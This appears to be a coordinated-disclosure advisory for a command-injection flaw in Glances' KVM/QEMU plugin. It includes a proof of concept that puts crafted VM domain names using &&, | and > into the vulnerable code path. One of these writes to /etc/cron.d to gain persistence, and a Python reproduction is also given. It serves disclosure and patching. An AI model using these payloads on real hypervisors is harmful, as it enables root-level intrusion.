| Package | Affected versions | Patched versions |
|---|---|---|
| glances | < 4.5.5 | 4.5.5 |
The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.
Affected file: glances/plugins/vms/engines/virsh.py
Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):
The vulnerable calls are on lines 185 and 204:
# line 185 (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')
# line 204 (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')
domain is the name string parsed from the output of virsh list --all (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().
secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:
# glances/secure.py
def secure_popen(cmd):
ret = ''
for c in cmd.split('&&'): # '&&' → two separate processes
ret += __secure_popen(c)
return ret
def __secure_popen(cmd):
for sub_cmd in cmd.split('|'): # '|' → stdin/stdout piped
p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
# '>' is split separately for file redirection
By contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
All three injection operators were verified:
| Operator | Effect | Confirmed |
|---|---|---|
&& | Second command executes after the virsh call | Yes |
| | Output of virsh piped to injected command | Yes |
> | virsh output redirected to arbitrary file | Yes |
Special configuration required
vms plugin must be enabled and /usr/bin/virsh must be installed and executable.libvirt group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).glances.conf settings are needed beyond a working virsh setup.Step 1 — Create a VM with a crafted domain name
Using the && operator to chain a second command:
<domain type="kvm">
<name>productionDB && touch /tmp/glances_pwned</name>
<memory>131072</memory>
<vcpu>1</vcpu>
<os><type arch="x86_64">hvm</type></os>
</domain>
virsh define evil-domain.xml
Step 2 — Start Glances with KVM monitoring enabled
glances # or: glances -s / glances -w
On the next monitoring cycle Glances calls:
virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"
which secure_popen() splits into two processes:
virsh domstats --nowait productionDBtouch /tmp/glances_pwnedStep 3 — Verify execution
ls -la /tmp/glances_pwned # file will exist, owned by the Glances user
Pipe injection (|) example
Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"
The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.
File-write injection (>) example
Domain name: "productionDB > /etc/cron.d/glances_backdoor"
The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.
Minimal Python reproduction (no VM required)
import sys
sys.path.insert(0, '/path/to/glances') # adjust to local clone
from glances.secure import secure_popen
# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`
Vulnerability type: Command Injection (CWE-78)
Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.
Impact:
>) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.
Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:
# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE
result = run(
[VIRSH_PATH, 'domstats', '--nowait', domain],
stdout=PIPE, stderr=PIPE, timeout=5
)
Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.
As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
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